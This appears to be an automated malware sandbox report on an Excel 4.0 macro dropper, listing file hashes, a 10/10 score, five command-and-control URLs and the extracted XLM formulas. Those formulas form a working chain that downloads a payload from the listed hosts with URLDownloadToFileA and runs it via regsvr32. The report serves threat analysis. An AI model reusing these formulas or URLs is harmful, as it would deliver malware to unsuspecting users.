2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e

General

Target

2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e
Size

69KB
Sample

240726-1vf7faxcnm
MD5

f0d7846f1101c7d13407466aa5f2a835
SHA1

a100f896b6f5ba646103c4d7d314c805e222675e
SHA256

2fbf7274c9e1537ba4f1fcd7e4c9e539a033b239e69d2764a25bbc26c7193d6e
SHA512

a251028199d410625fb6bf4b206ff25d2b095e08bfde6549acc3c92a9171d047ade607ad244e718d6796d4181c4016d0e8309712642b4a8646d7824496a21cbc
SSDEEP

1536:dyBvEXHLWhxndhjh/VwBpSZobSex7jB0FfuZibVkq:a6rWhxHjh88ZoH7juFuZi6q

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://karmapedia.com/wp-includes/X0PZpQ/

http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/

http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/

https://mustknew.com/lovecalculator/i/

https://baicc-ct.org/wp-admin/E6Z5DApRJ/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://karmapedia.com/wp-includes/X0PZpQ/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/item-immo/5NAtMXXCkzQ5NrX3z/eTD8Fbu3JSWQ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mustknew.com/lovecalculator/i/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baicc-ct.org/wp-admin/E6Z5DApRJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://karmapedia.com/wp-includes/X0PZpQ/

xlm40.dropper

http://webnatico.com/wp-content/upgrade/AMnS3zau6FvzG/